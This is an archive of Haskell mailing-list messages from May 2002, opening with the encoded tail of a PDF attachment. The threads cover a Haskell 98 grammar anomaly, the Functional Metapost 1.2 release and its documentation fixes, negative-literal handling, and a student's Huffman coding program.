aWdodC96ZXJvL29uZS90d28vY29sb24vQS9CL0MvRS9GL0kvTC9PL1AvUi9TL1QvVy9h L2IvYy9kL2UvZi9nL2gvaS9rL2wvbS9uL28vcC9yL3MvdC91L3Yvdy95L3opCi9Gb250 RmlsZSA3MiAwIFIKPj4gZW5kb2JqCjE2MSAwIG9iagpbMzEzIDQzOCA0MzggMCAwIDAg MCAwIDAgNTYzIDU2MyA1NjMgMCAwIDAgMCAwIDAgMCAzMTMgMCAwIDAgMCAwIDAgODUw IDgwMCA4MTMgMCA3MzggNzA3IDAgMCA0MTkgMCAwIDY3NiAwIDAgODQ1IDc2OSAwIDgz OSA2MjUgNzgyIDAgMCAxMTYyIDAgMCAwIDAgMCAwIDAgMCAwIDU0NyA2MjUgNTAwIDYy NSA1MTMgMzQ0IDU2MyA2MjUgMzEzIDAgNTk0IDMxMyA5MzggNjI1IDU2MyA2MjUgMCA0 NTkgNDQ0IDQzOCA2MjUgNTk0IDgxMyAwIDU5NCA1MDAgXQplbmRvYmoKMTYwIDAgb2Jq IDw8Ci9UeXBlIC9FbmNvZGluZwovRGlmZmVyZW5jZXMgWyAwIC8ubm90ZGVmIDM5L3F1 b3RlcmlnaHQvcGFyZW5sZWZ0L3BhcmVucmlnaHQgNDIvLm5vdGRlZiA0OC96ZXJvL29u ZS90d28gNTEvLm5vdGRlZiA1OC9jb2xvbiA1OS8ubm90ZGVmIDY1L0EvQi9DIDY4Ly5u b3RkZWYgNjkvRS9GIDcxLy5ub3RkZWYgNzMvSSA3NC8ubm90ZGVmIDc2L0wgNzcvLm5v dGRlZiA3OS9PL1AgODEvLm5vdGRlZiA4Mi9SL1MvVCA4NS8ubm90ZGVmIDg3L1cgODgv Lm5vdGRlZiA5Ny9hL2IvYy9kL2UvZi9nL2gvaSAxMDYvLm5vdGRlZiAxMDcvay9sL20v bi9vL3AgMTEzLy5ub3RkZWYgMTE0L3Ivcy90L3Uvdi93IDEyMC8ubm90ZGVmIDEyMS95 L3ogMTIzLy5ub3RkZWZdCj4+IGVuZG9iago4NSAwIG9iaiA8PAovVHlwZSAvUGFnZXMK L0NvdW50IDYKL1BhcmVudCAxNjIgMCBSCi9LaWRzIFs2NiAwIFIgODcgMCBSIDk1IDAg UiA5OSAwIFIgMTA0IDAgUiAxMTcgMCBSXQo+PiBlbmRvYmoKMTI4IDAgb2JqIDw8Ci9U eXBlIC9QYWdlcwovQ291bnQgNAovUGFyZW50IDE2MiAwIFIKL0tpZHMgWzEyMiAwIFIg MTMwIDAgUiAxMzQgMCBSIDEzOCAwIFJdCj4+IGVuZG9iagoxNjIgMCBvYmogPDwKL1R5 cGUgL1BhZ2VzCi9Db3VudCAxMAovS2lkcyBbODUgMCBSIDEyOCAwIFJdCj4+IGVuZG9i agoxNjMgMCBvYmogPDwKL1R5cGUgL091dGxpbmVzCi9GaXJzdCA3IDAgUgovTGFzdCA2 MyAwIFIKL0NvdW50IDE1Cj4+IGVuZG9iago2MyAwIG9iaiA8PAovVGl0bGUgNjQgMCBS Ci9BIDYxIDAgUgovUGFyZW50IDE2MyAwIFIKL1ByZXYgNTkgMCBSCj4+IGVuZG9iago1 OSAwIG9iaiA8PAovVGl0bGUgNjAgMCBSCi9BIDU3IDAgUgovUGFyZW50IDE2MyAwIFIK L1ByZXYgNTUgMCBSCi9OZXh0IDYzIDAgUgo+PiBlbmRvYmoKNTUgMCBvYmogPDwKL1Rp dGxlIDU2IDAgUgovQSA1MyAwIFIKL1BhcmVudCAxNjMgMCBSCi9QcmV2IDUxIDAgUgov TmV4dCA1OSAwIFIKPj4gZW5kb2JqCjUxIDAgb2JqIDw8Ci9UaXRsZSA1MiAwIFIKL0Eg NDkgMCBSCi9QYXJlbnQgMTYzIDAgUgovUHJldiA0NyAwIFIKL05leHQgNTUgMCBSCj4+ IGVuZG9iago0NyAwIG9iaiA8PAovVGl0bGUgNDggMCBSCi9BIDQ1IDAgUgovUGFyZW50 IDE2MyAwIFIKL1ByZXYgNDMgMCBSCi9OZXh0IDUxIDAgUgo+PiBlbmRvYmoKNDMgMCBv YmogPDwKL1RpdGxlIDQ0IDAgUgovQSA0MSAwIFIKL1BhcmVudCAxNjMgMCBSCi9QcmV2 IDM5IDAgUgovTmV4dCA0NyAwIFIKPj4gZW5kb2JqCjM5IDAgb2JqIDw8Ci9UaXRsZSA0 MCAwIFIKL0EgMzcgMCBSCi9QYXJlbnQgMTYzIDAgUgovUHJldiAzNSAwIFIKL05leHQg NDMgMCBSCj4+IGVuZG9iagozNSAwIG9iaiA8PAovVGl0bGUgMzYgMCBSCi9BIDMzIDAg UgovUGFyZW50IDE2MyAwIFIKL1ByZXYgMzEgMCBSCi9OZXh0IDM5IDAgUgo+PiBlbmRv YmoKMzEgMCBvYmogPDwKL1RpdGxlIDMyIDAgUgovQSAyOSAwIFIKL1BhcmVudCAxNjMg MCBSCi9QcmV2IDI3IDAgUgovTmV4dCAzNSAwIFIKPj4gZW5kb2JqCjI3IDAgb2JqIDw8 Ci9UaXRsZSAyOCAwIFIKL0EgMjUgMCBSCi9QYXJlbnQgMTYzIDAgUgovUHJldiAyMyAw IFIKL05leHQgMzEgMCBSCj4+IGVuZG9iagoyMyAwIG9iaiA8PAovVGl0bGUgMjQgMCBS Ci9BIDIxIDAgUgovUGFyZW50IDE2MyAwIFIKL1ByZXYgMTkgMCBSCi9OZXh0IDI3IDAg Ugo+PiBlbmRvYmoKMTkgMCBvYmogPDwKL1RpdGxlIDIwIDAgUgovQSAxNyAwIFIKL1Bh cmVudCAxNjMgMCBSCi9QcmV2IDE1IDAgUgovTmV4dCAyMyAwIFIKPj4gZW5kb2JqCjE1 IDAgb2JqIDw8Ci9UaXRsZSAxNiAwIFIKL0EgMTMgMCBSCi9QYXJlbnQgMTYzIDAgUgov UHJldiAxMSAwIFIKL05leHQgMTkgMCBSCj4+IGVuZG9iagoxMSAwIG9iaiA8PAovVGl0 bGUgMTIgMCBSCi9BIDkgMCBSCi9QYXJlbnQgMTYzIDAgUgovUHJldiA3IDAgUgovTmV4 dCAxNSAwIFIKPj4gZW5kb2JqCjcgMCBvYmogPDwKL1RpdGxlIDggMCBSCi9BIDUgMCBS Ci9QYXJlbnQgMTYzIDAgUgovTmV4dCAxMSAwIFIKPj4gZW5kb2JqCjE2NCAwIG9iaiA8 PAovTmFtZXMgWyhEb2MtU3RhcnQpIDcwIDAgUiAocGFnZS4xKSA2OSAwIFIgKHBhZ2Uu MTApIDE0MCAwIFIgKHBhZ2UuMikgODkgMCBSIChwYWdlLjMpIDk3IDAgUiAocGFnZS40 KSAxMDEgMCBSIChwYWdlLjUpIDEwNiAwIFIgKHBhZ2UuNikgMTE5IDAgUiAocGFnZS43 KSAxMjQgMCBSIChwYWdlLjgpIDEzMiAwIFIgKHBhZ2UuOSkgMTM2IDAgUiAoc2VjdGlv biouMSkgNiAwIFIgKHNlY3Rpb24qLjEwKSA0MiAwIFIgKHNlY3Rpb24qLjExKSA0NiAw IFIgKHNlY3Rpb24qLjEyKSA1MCAwIFIgKHNlY3Rpb24qLjEzKSA1NCAwIFIgKHNlY3Rp b24qLjE0KSA1OCAwIFIgKHNlY3Rpb24qLjE1KSA2MiAwIFIgKHNlY3Rpb24qLjIpIDEw IDAgUiAoc2VjdGlvbiouMykgMTQgMCBSIChzZWN0aW9uKi40KSAxOCAwIFIgKHNlY3Rp b24qLjUpIDIyIDAgUiAoc2VjdGlvbiouNikgMjYgMCBSIChzZWN0aW9uKi43KSAzMCAw IFIgKHNlY3Rpb24qLjgpIDM0IDAgUiAoc2VjdGlvbiouOSkgMzggMCBSXQovTGltaXRz IFsoRG9jLVN0YXJ0KSAoc2VjdGlvbiouOSldCj4+IGVuZG9iagoxNjUgMCBvYmogPDwK L0tpZHMgWzE2NCAwIFJdCj4+IGVuZG9iagoxNjYgMCBvYmogPDwKL0Rlc3RzIDE2NSAw IFIKPj4gZW5kb2JqCjE2NyAwIG9iaiA8PAovVHlwZSAvQ2F0YWxvZwovUGFnZXMgMTYy IDAgUgovT3V0bGluZXMgMTYzIDAgUgovTmFtZXMgMTY2IDAgUgogL1BhZ2VNb2RlIC9V c2VPdXRsaW5lcyAvVVJJIDw8IC9CYXNlICgpID4+ICAvVmlld2VyUHJlZmVyZW5jZXMg PDwgPj4gCi9PcGVuQWN0aW9uIDY1IDAgUgo+PiBlbmRvYmoKMTY4IDAgb2JqIDw8Ci9Q cm9kdWNlciAocGRmVGVYLTAuMTRnKQovQXV0aG9yICgpIC9UaXRsZSAoKSAvU3ViamVj dCAoKSAvQ3JlYXRvciAoTGFUZVggd2l0aCBoeXBlcnJlZiBwYWNrYWdlKSAvUHJvZHVj ZXIgKHBkZlRlWDE0LmcpIC9LZXl3b3JkcyAoKSAKL0NyZWF0b3IgKFRlWCkKL0NyZWF0 aW9uRGF0ZSAoRDoyMDAyMDUyNDIwMjIwMCkKPj4gZW5kb2JqCnhyZWYKMCAxNjkKMDAw MDAwMDAwMSA2NTUzNSBmIAowMDAwMDAwMDAyIDAwMDAwIGYgCjAwMDAwMDAwMDMgMDAw MDAgZiAKMDAwMDAwMDAwNCAwMDAwMCBmIAowMDAwMDAwMDAwIDAwMDAwIGYgCjAwMDAw MDAwMDkgMDAwMDAgbiAKMDAwMDAwMzIxNCAwMDAwMCBuIAowMDAwMDk0OTMwIDAwMDAw IG4gCjAwMDAwMDAwNTUgMDAwMDAgbiAKMDAwMDAwMDA4OCAwMDAwMCBuIAowMDAwMDAz MjcyIDAwMDAwIG4gCjAwMDAwOTQ4NDQgMDAwMDAgbiAKMDAwMDAwMDEzNCAwMDAwMCBu IAowMDAwMDAwMTY1IDAwMDAwIG4gCjAwMDAwMDMzMzEgMDAwMDAgbiAKMDAwMDA5NDc1 NiAwMDAwMCBuIAowMDAwMDAwMjEyIDAwMDAwIG4gCjAwMDAwMDAyNTMgMDAwMDAgbiAK MDAwMDAwMzM5MCAwMDAwMCBuIAowMDAwMDk0NjY4IDAwMDAwIG4gCjAwMDAwMDAzMDAg MDAwMDAgbiAKMDAwMDAwMDMzMiAwMDAwMCBuIAowMDAwMDA1Njk2IDAwMDAwIG4gCjAw MDAwOTQ1ODAgMDAwMDAgbiAKMDAwMDAwMDM3OSAwMDAwMCBuIAowMDAwMDAwNDE1IDAw MDAwIG4gCjAwMDAwMDU3NTYgMDAwMDAgbiAKMDAwMDA5NDQ5MiAwMDAwMCBuIAowMDAw MDAwNDYyIDAwMDAwIG4gCjAwMDAwMDA1MDEgMDAwMDAgbiAKMDAwMDAwNTgxNiAwMDAw MCBuIAowMDAwMDk0NDA0IDAwMDAwIG4gCjAwMDAwMDA1NDggMDAwMDAgbiAKMDAwMDAw MDU3OSAwMDAwMCBuIAowMDAwMDA4Mzg3IDAwMDAwIG4gCjAwMDAwOTQzMTYgMDAwMDAg biAKMDAwMDAwMDYyNiAwMDAwMCBuIAowMDAwMDAwNjUyIDAwMDAwIG4gCjAwMDAwMDg0 NDYgMDAwMDAgbiAKMDAwMDA5NDIyOCAwMDAwMCBuIAowMDAwMDAwNjk5IDAwMDAwIG4g CjAwMDAwMDA3NDIgMDAwMDAgbiAKMDAwMDAxMTUxNCAwMDAwMCBuIAowMDAwMDk0MTQw IDAwMDAwIG4gCjAwMDAwMDA3OTAgMDAwMDAgbiAKMDAwMDAwMDgyMiAwMDAwMCBuIAow MDAwMDExNTc0IDAwMDAwIG4gCjAwMDAwOTQwNTIgMDAwMDAgbiAKMDAwMDAwMDg3MCAw MDAwMCBuIAowMDAwMDAwOTA4IDAwMDAwIG4gCjAwMDAwMTUwMzQgMDAwMDAgbiAKMDAw MDA5Mzk2NCAwMDAwMCBuIAowMDAwMDAwOTU2IDAwMDAwIG4gCjAwMDAwMDA5OTAgMDAw MDAgbiAKMDAwMDAxNTA5MiAwMDAwMCBuIAowMDAwMDkzODc2IDAwMDAwIG4gCjAwMDAw MDEwMzggMDAwMDAgbiAKMDAwMDAwMTA3MCAwMDAwMCBuIAowMDAwMDE4NTE4IDAwMDAw IG4gCjAwMDAwOTM3ODggMDAwMDAgbiAKMDAwMDAwMTExOCAwMDAwMCBuIAowMDAwMDAx MTQ0IDAwMDAwIG4gCjAwMDAwMjQxNDUgMDAwMDAgbiAKMDAwMDA5MzcxMyAwMDAwMCBu IAowMDAwMDAxMTkyIDAwMDAwIG4gCjAwMDAwMDEyMjcgMDAwMDAgbiAKMDAwMDAwMjU3 MiAwMDAwMCBuIAowMDAwMDAzNDQ5IDAwMDAwIG4gCjAwMDAwMDEyNzcgMDAwMDAgbiAK MDAwMDAwMzA5NiAwMDAwMCBuIAowMDAwMDAzMTU1IDAwMDAwIG4gCjAwMDAwOTIzNzEg MDAwMDAgbiAKMDAwMDA4NDA5NiAwMDAwMCBuIAowMDAwMDkyMjExIDAwMDAwIG4gCjAw MDAwMDI3MTMgMDAwMDAgbiAKMDAwMDA4Mjc4NCAwMDAwMCBuIAowMDAwMDY3NzQ5IDAw MDAwIG4gCjAwMDAwODI2MjUgMDAwMDAgbiAKMDAwMDA2NzMyMSAwMDAwMCBuIAowMDAw MDY1NTUyIDAwMDAwIG4gCjAwMDAwNjcxNjMgMDAwMDAgbiAKMDAwMDA2NDY5NiAwMDAw MCBuIAowMDAwMDU5MzgyIDAwMDAwIG4gCjAwMDAwNjQ1MzcgMDAwMDAgbiAKMDAwMDAw MjkxMCAwMDAwMCBuIAowMDAwMDkzMzU2IDAwMDAwIG4gCjAwMDAwMDU4NzYgMDAwMDAg biAKMDAwMDAwNTI5NSAwMDAwMCBuIAowMDAwMDAzNTU1IDAwMDAwIG4gCjAwMDAwMDU2 MzYgMDAwMDAgbiAKMDAwMDAwNTQyOSAwMDAwMCBuIAowMDAwMDU4MzI3IDAwMDAwIG4g CjAwMDAwNDc0MDUgMDAwMDAgbiAKMDAwMDA1ODE2NyAwMDAwMCBuIAowMDAwMDA4NTA1 IDAwMDAwIG4gCjAwMDAwMDgyMTMgMDAwMDAgbiAKMDAwMDAwNTk4MiAwMDAwMCBuIAow MDAwMDA4MzI4IDAwMDAwIG4gCjAwMDAwMTE2MzQgMDAwMDAgbiAKMDAwMDAxMTEzNSAw MDAwMCBuIAowMDAwMDA4NjExIDAwMDAwIG4gCjAwMDAwMTE0NTMgMDAwMDAgbiAKMDAw MDAxMTI3MSAwMDAwMCBuIAowMDAwMDE1MTUyIDAwMDAwIG4gCjAwMDAwMTQyNDUgMDAw MDAgbiAKMDAwMDAxMTcyOCAwMDAwMCBuIAowMDAwMDE0OTczIDAwMDAwIG4gCjAwMDAw MTQzOTkgMDAwMDAgbiAKMDAwMDA0NzA5MCAwMDAwMCBuIAowMDAwMDQ0OTc3IDAwMDAw IG4gCjAwMDAwNDY5MjggMDAwMDAgbiAKMDAwMDAxNDU4NyAwMDAwMCBuIAowMDAwMDE0 Nzc1IDAwMDAwIG4gCjAwMDAwNDQ2NjUgMDAwMDAgbiAKMDAwMDA0MjcxMiAwMDAwMCBu IAowMDAwMDQ0NTA0IDAwMDAwIG4gCjAwMDAwMTYzNjQgMDAwMDAgbiAKMDAwMDAxNTk3 NiAwMDAwMCBuIAowMDAwMDE1Mjg1IDAwMDAwIG4gCjAwMDAwMTYzMDIgMDAwMDAgbiAK MDAwMDAxNjExNCAwMDAwMCBuIAowMDAwMDE4NTc4IDAwMDAwIG4gCjAwMDAwMTgzMzgg MDAwMDAgbiAKMDAwMDAxNjQzNSAwMDAwMCBuIAowMDAwMDE4NDU3IDAwMDAwIG4gCjAw MDAwNDE3NjggMDAwMDAgbiAKMDAwMDAyOTQ1MSAwMDAwMCBuIAowMDAwMDQxNjA2IDAw MDAwIG4gCjAwMDAwOTM0NjggMDAwMDAgbiAKMDAwMDAyMDc0MiAwMDAwMCBuIAowMDAw MDIwNTYxIDAwMDAwIG4gCjAwMDAwMTg2ODYgMDAwMDAgbiAKMDAwMDAyMDY4MCAwMDAw MCBuIAowMDAwMDIyNDEzIDAwMDAwIG4gCjAwMDAwMjIyMzMgMDAwMDAgbiAKMDAwMDAy MDgzOCAwMDAwMCBuIAowMDAwMDIyMzUyIDAwMDAwIG4gCjAwMDAwMjQyMDYgMDAwMDAg biAKMDAwMDAyMzk2NCAwMDAwMCBuIAowMDAwMDIyNTA5IDAwMDAwIG4gCjAwMDAwMjQw ODMgMDAwMDAgbiAKMDAwMDAyODY1OSAwMDAwMCBuIAowMDAwMDI0MzE1IDAwMDAwIG4g CjAwMDAwMjg0OTcgMDAwMDAgbiAKMDAwMDAyOTE3NyAwMDAwMCBuIAowMDAwMDI4ODk5 IDAwMDAwIG4gCjAwMDAwNDIzNzYgMDAwMDAgbiAKMDAwMDA0MjA4OCAwMDAwMCBuIAow MDAwMDQ0ODkyIDAwMDAwIG4gCjAwMDAwNDQ4NjggMDAwMDAgbiAKMDAwMDA0NzMxOSAw MDAwMCBuIAowMDAwMDQ3MjkxIDAwMDAwIG4gCjAwMDAwNTg5NTIgMDAwMDAgbiAKMDAw MDA1ODY3MCAwMDAwMCBuIAowMDAwMDY1MTk5IDAwMDAwIG4gCjAwMDAwNjQ5NjcgMDAw MDAgbiAKMDAwMDA2NzYxNSAwMDAwMCBuIAowMDAwMDY3NTQ1IDAwMDAwIG4gCjAwMDAw ODM2NDIgMDAwMDAgbiAKMDAwMDA4MzIzNyAwMDAwMCBuIAowMDAwMDkyOTY0IDAwMDAw IG4gCjAwMDAwOTI2ODkgMDAwMDAgbiAKMDAwMDA5MzU2OSAwMDAwMCBuIAowMDAwMDkz NjM4IDAwMDAwIG4gCjAwMDAwOTUwMDIgMDAwMDAgbiAKMDAwMDA5NTU2MSAwMDAwMCBu IAowMDAwMDk1NjAwIDAwMDAwIG4gCjAwMDAwOTU2MzggMDAwMDAgbiAKMDAwMDA5NTgx NCAwMDAwMCBuIAp0cmFpbGVyCjw8Ci9TaXplIDE2OQovUm9vdCAxNjcgMCBSCi9JbmZv IDE2OCAwIFIKPj4Kc3RhcnR4cmVmCjk2MDE5CiUlRU9GCg== --============_-1189852384==_D============-- --============_-1189852384==_============-- From ross@soi.city.ac.uk Mon May 27 13:04:24 2002 From: ross@soi.city.ac.uk (Ross Paterson) Date: Mon, 27 May 2002 13:04:24 +0100 Subject: minor H98 anomaly: class declarations Message-ID: <20020527120424.GA7478@soi.city.ac.uk> 4.3.1 has topdecl -> class [scontext =>] simpleclass [where cdecls] scontext -> simpleclass | ( simpleclass[1] , ... , simpleclass[n] ) (n>=0) simpleclass -> qtycls tyvar implying that the class being declared can be qualified: class Foo.C a where ... in contrast to every other kind of declaration. Nor does the text explain what this could mean. Shouldn't the first line be topdecl -> class [scontext =>] tycls tyvar [where cdecls] (GHC doesn't allow qualification; Hugs and Nhc allow it and do strange things.) From wferi@afavant.elte.hu Mon May 27 15:34:23 2002 From: wferi@afavant.elte.hu (Ferenc Wagner) Date: Mon, 27 May 2002 16:34:23 +0200 Subject: ANN: Functional Metapost 1.2 Message-ID: <3oelfxbqxc.fsf@bolyai1.elte.hu> Dear Haskell Community, version 1.2 of Functional Metapost is now available at http://afavant.elte.hu/~wferi/funcmp/ News: * This version includes English translations of the most important parts of the documentation! Thanks to Meik Hellmund, who contributed the translations. * 8-bit color depth bitmaps work. Cheers, Feri. From simonpj@microsoft.com Mon May 27 17:17:42 2002 From: simonpj@microsoft.com (Simon Peyton-Jones) Date: Mon, 27 May 2002 09:17:42 -0700 Subject: minor H98 anomaly: class declarations Message-ID: <1113DDB24D4A2841951BFDF86665EE1901041FAF@RED-MSG-10.redmond.corp.microsoft.com> Yes, I agree, and I shall make this change forthwith unless anyone disagrees. thanks Simon | -----Original Message----- | From: Ross Paterson [mailto:ross@soi.city.ac.uk]=20 | Sent: 27 May 2002 13:04 | To: haskell@haskell.org | Subject: minor H98 anomaly: class declarations |=20 |=20 | 4.3.1 has |=20 | topdecl -> class [scontext =3D>] simpleclass [where cdecls] | scontext -> simpleclass | | ( simpleclass[1] , ... , simpleclass[n] ) =20 | (n>=3D0)=20 | simpleclass -> qtycls tyvar |=20 | implying that the class being declared can be qualified: |=20 | class Foo.C a where ... |=20 | in contrast to every other kind of declaration. Nor does the=20 | text explain what this could mean. Shouldn't the first line be |=20 | topdecl -> class [scontext =3D>] tycls tyvar [where cdecls] |=20 | (GHC doesn't allow qualification; Hugs and Nhc allow it and=20 | do strange things.) _______________________________________________ | Haskell mailing list | Haskell@haskell.org http://www.haskell.org/mailman/listinfo/haskell |=20 From simonpj@microsoft.com Mon May 27 17:28:06 2002 From: simonpj@microsoft.com (Simon Peyton-Jones) Date: Mon, 27 May 2002 09:28:06 -0700 Subject: Negative literals and the meaning of case -2 of -2 -> True Message-ID: <1113DDB24D4A2841951BFDF86665EE1901041FB2@RED-MSG-10.redmond.corp.microsoft.com> Fixed. Simon | -----Original Message----- | From: Simon Marlow [mailto:simonmar@microsoft.com]=20 | Sent: 17 May 2002 10:34 | To: Thomas Hallgren; haskell@haskell.org | Subject: RE: Negative literals and the meaning of case -2 of=20 | -2 -> True |=20 |=20 |=20 | > To find out how Haskell implementations treat negated | > literals, I tested=20 | > the following program: | >=20 | > ------------------------------------------------ | > main =3D print (minusTwo,trueOrFalse) | >=20 | > minusTwo =3D -2::N | >=20 | > trueOrFalse =3D | > case minusTwo of | > -2 -> True | > _ -> False | >=20 | > data N =3D Negate N | FromInteger Integer deriving (Eq,Show) | >=20 | > instance Num N where | > negate =3D Negate | > fromInteger =3D FromInteger | > ------------------------------------------------- | >=20 | > The result is: | >=20 | > * ghc 5.02.2: main outputs: (FromInteger (-2),True) |=20 | GHC has two bugs in this area, one of which has been fixed=20 | recently. The current output is (Negate (FromInteger=20 | 2),False) (i.e. the same as hbc). We were being a little too=20 | eager to replace 'negate (fromInteger N)' by 'fromInteger=20 | (-N)'. There is also a bug in the pattern handling, however. |=20 | Thanks for a nice test case... |=20 | Cheers, | Simon |=20 | _______________________________________________ | Haskell mailing list | Haskell@haskell.org http://www.haskell.org/mailman/listinfo/haskell |=20 From dpt@math.harvard.edu Mon May 27 21:23:20 2002 From: dpt@math.harvard.edu (Dylan Thurston) Date: Mon, 27 May 2002 16:23:20 -0400 Subject: ANN: Functional Metapost 1.2 In-Reply-To: <3oelfxbqxc.fsf@bolyai1.elte.hu> References: <3oelfxbqxc.fsf@bolyai1.elte.hu> Message-ID: <20020527202320.GA31629@lotus.bostoncoop.net> --mYCpIKhGyMATD0i+ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, May 27, 2002 at 04:34:23PM +0200, Ferenc Wagner wrote: > Dear Haskell Community, >=20 > version 1.2 of Functional Metapost is now available at >=20 > http://afavant.elte.hu/~wferi/funcmp/ >=20 > News: >=20 > * This version includes English translations of the most > important parts of the documentation! Thanks to Meik > Hellmund, who contributed the translations. >=20 > * 8-bit color depth bitmaps work. Great work! One documentation bug: > Now it is time to discuss units. \MP\ uses as basic unit PostScript > points which correspond to $1/72$ inch. We use them in \FMP, too. > |hspace 8| defines a horizontal distance of $1/9$ inch or approximately > $2.82$ mm. This contradicts the table that immediately follows, in which it is evident that a unit of '1' is one printer's point, 1/72.27 of an inch; the Postscript points are called 'bp'. Which is correct? Best, Dylan Thurston --mYCpIKhGyMATD0i+ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE88pW3Veybfhaa3tcRAnNrAJ9TRxGDK3YNAo5BmEQWT/04hvOeNwCfZ2vR SF+RgdvQtoBqwvGHmQ1wCrc= =Dwjl -----END PGP SIGNATURE----- --mYCpIKhGyMATD0i+-- From wferi@afavant.elte.hu Mon May 27 23:35:55 2002 From: wferi@afavant.elte.hu (Ferenc Wagner) Date: Tue, 28 May 2002 00:35:55 +0200 Subject: ANN: Functional Metapost 1.2 In-Reply-To: <20020527202320.GA31629@lotus.bostoncoop.net> (Dylan Thurston's message of "Mon, 27 May 2002 16:23:20 -0400") References: <3oelfxbqxc.fsf@bolyai1.elte.hu> <20020527202320.GA31629@lotus.bostoncoop.net> Message-ID: <3oy9e5rzg4.fsf@bolyai1.elte.hu> Dylan Thurston writes: > Great work! One documentation bug: > >> Now it is time to discuss units. \MP\ uses as basic unit >> PostScript points which correspond to $1/72$ inch. We use >> them in \FMP, too. |hspace 8| defines a horizontal >> distance of $1/9$ inch or approximately $2.82$ mm. > > This contradicts the table that immediately follows, in > which it is evident that a unit of '1' is one printer's > point, 1/72.27 of an inch; the Postscript points are > called 'bp'. Which is correct? Thanks for spotting this mistake. FMPPicture.lhs has the answer: > mm, pt, dd, bp, cm, pc, cc, inch:: Numeric > mm = 2.83464 > pt = 0.99626 > dd = 1.06601 > bp = 1 > cm = 28.34645 > pc = 11.95517 > cc = 12.79213 > inch = 72 which a quick test also ensures. So the table is mistaken, we will fix it shortly. Cheers: Feri. From jadrian@mat.uc.pt Tue May 28 00:12:56 2002 From: jadrian@mat.uc.pt (Jorge Adriano) Date: Tue, 28 May 2002 00:12:56 +0100 Subject: ANN: Functional Metapost 1.2 In-Reply-To: <3oy9e5rzg4.fsf@bolyai1.elte.hu> References: <3oelfxbqxc.fsf@bolyai1.elte.hu> <20020527202320.GA31629@lotus.bostoncoop.net> <3oy9e5rzg4.fsf@bolyai1.elte.hu> Message-ID: <200205280012.56930.jadrian@mat.uc.pt> By the way, the link in: "The latest and greatest version with documentat= ion=20 included: FuncMP-1.2.tgz (1.6 MB)." points to version 1.1 instead of 1.2. Cheers J.A. From wferi@afavant.elte.hu Tue May 28 08:30:58 2002 From: wferi@afavant.elte.hu (Ferenc Wagner) Date: Tue, 28 May 2002 09:30:58 +0200 Subject: ANN: Functional Metapost 1.2 In-Reply-To: <200205280012.56930.jadrian@mat.uc.pt> (Jorge Adriano's message of "Tue, 28 May 2002 00:12:56 +0100") References: <3oelfxbqxc.fsf@bolyai1.elte.hu> <20020527202320.GA31629@lotus.bostoncoop.net> <3oy9e5rzg4.fsf@bolyai1.elte.hu> <200205280012.56930.jadrian@mat.uc.pt> Message-ID: <3o8z64n2z1.fsf@bolyai1.elte.hu> Jorge Adriano writes: > By the way, the link in: "The latest and greatest version > with documentation included: FuncMP-1.2.tgz (1.6 MB)." > points to version 1.1 instead of 1.2. Oops. Fixed. Thanks. Sorry. Feri. From matush23@netscape.net Tue May 28 17:07:38 2002 From: matush23@netscape.net (matush23@netscape.net) Date: Tue, 28 May 2002 12:07:38 -0400 Subject: Huffman algorithm Message-ID: <0FCBE6AF.442DDC6D.009FF9B7@netscape.net> Hi, I have problems with assignation of types, I did this ... ***** End: -- Codigo de Huffman The rest of the message is ignored: > -- > -- > -- Un arbol binario comun > -- > data BinTree a = Hoja a > | Nodo (BinTree a) (BinTree a) > > type Huff = BinTree Char > > -- Arbol especifico para la funcion `combinar' > -- > data Tree = Leaf Int Char > | Node Int Tree Tree > > -- Binary search tree para la funcion `freqs' > -- > data BSTree a = Nil | BSNode a (BSTree a) (BSTree a) > > > > -- Calculo de las frequencias de cada letra > -- > freq :: BSTree (Char,Int) -> String -> BSTree (Char,Int) > freq t [] = t > freq t (x:xs) = insertTree x (freq t xs) > > insertTree :: Char -> BSTree (Char,Int) -> BSTree (Char,Int) > insertTree x Nil = BSNode (x,1) Nil Nil > insertTree x (BSNode (c,n) t1 t2) | x==c = BSNode (c,n+1) t1 t2 > | x | x>c = BSNode (c,n) t1 (insertTree x t2) > > flatten :: BSTree a -> [a] > flatten Nil = [] > flatten (BSNode x t1 t2) = [x] ++ (flatten t1) ++ (flatten t2) > > iSort :: [(Char,Int)] -> [(Char,Int)] > iSort [] = [] > iSort (x:xs) = ins x (iSort xs) > > ins :: (Char,Int) -> [(Char,Int)] -> [(Char,Int)] > ins a [] = [a] > ins a@(c,n) l@((d,m):xs) | n<=m = a:l > | otherwise = (d,m):ins a xs > > freqs :: String -> [(Char,Int)] > freqs xs = (iSort . flatten) (freq Nil xs) > > > > -- Decodificacion > -- > decodificar :: [Int] -> Huff -> String > decodificar xs t = aux xs t t > where aux [] (Hoja c) t = [c] > aux (x:xs) (Hoja c) t = [c] ++ aux (x:xs) t t > aux (0:xs) (Nodo t1 t2) t = aux xs t1 t > aux (1:xs) (Nodo t1 t2) t = aux xs t2 t > > > > -- Codificacion respecto a un arbol dado > -- > cod :: Char -> Huff -> [Int] > cod c t = head (aux c t) > where aux c (Hoja d) | c==d = [[]] > | otherwise = [] > aux c (Nodo t1 t2) = [ (0:xs) | xs <- aux c t1 ] ++ > [ (1:xs) | xs <- aux c t2 ] > > codificar :: String -> Huff -> [Int] > codificar xs t = concat (map (\c->cod c t) xs) > > > > > --Construccion del arbol de Huffman > -- > combinar :: [Tree] -> [Tree] > combinar [t] = [t] > combinar (t1:t2:ts) = insert (Node (w1+w2) t1 t2) ts > where weight (Leaf n x) = n > weight (Node n _ _) = n > insert t [] = [t] > insert t (u:us) | weight t < weight u = t:u:us > | otherwise = u:(insert t us) > w1 = weight t1 > w2 = weight t2 > > combinarTodos :: [Tree] -> Tree > combinarTodos [t] = t > combinarTodos ts = combinarTodos (combinar ts) > > > > -- Pegamos la construccion del arbol y la codificacion del texto > -- > codificarTexto :: String -> ([Int], Huff) > codificarTexto xs = (ys, t) > where ls = freqs xs > desmarcar (Leaf n x) = Hoja x > desmarcar (Node n t1 t2) = Nodo (desmarcar t1) (desmarcar t2) > t = (desmarcar . combinarTodos) (map (\(c,n)->Leaf n c) ls) > ys = codificar xs t > > > > > -- Example > -- > prueba1 = let (s, t) = codificarTexto "Salvete, omnes" > in decodificar s t > > > > "Please, I need help. __________________________________________________________________ Your favorite stores, helpful shopping tools and great gift ideas. Experience the convenience of buying online with Shop@Netscape! http://shopnow.netscape.com/ Get your own FREE, personal Netscape Mail account today at 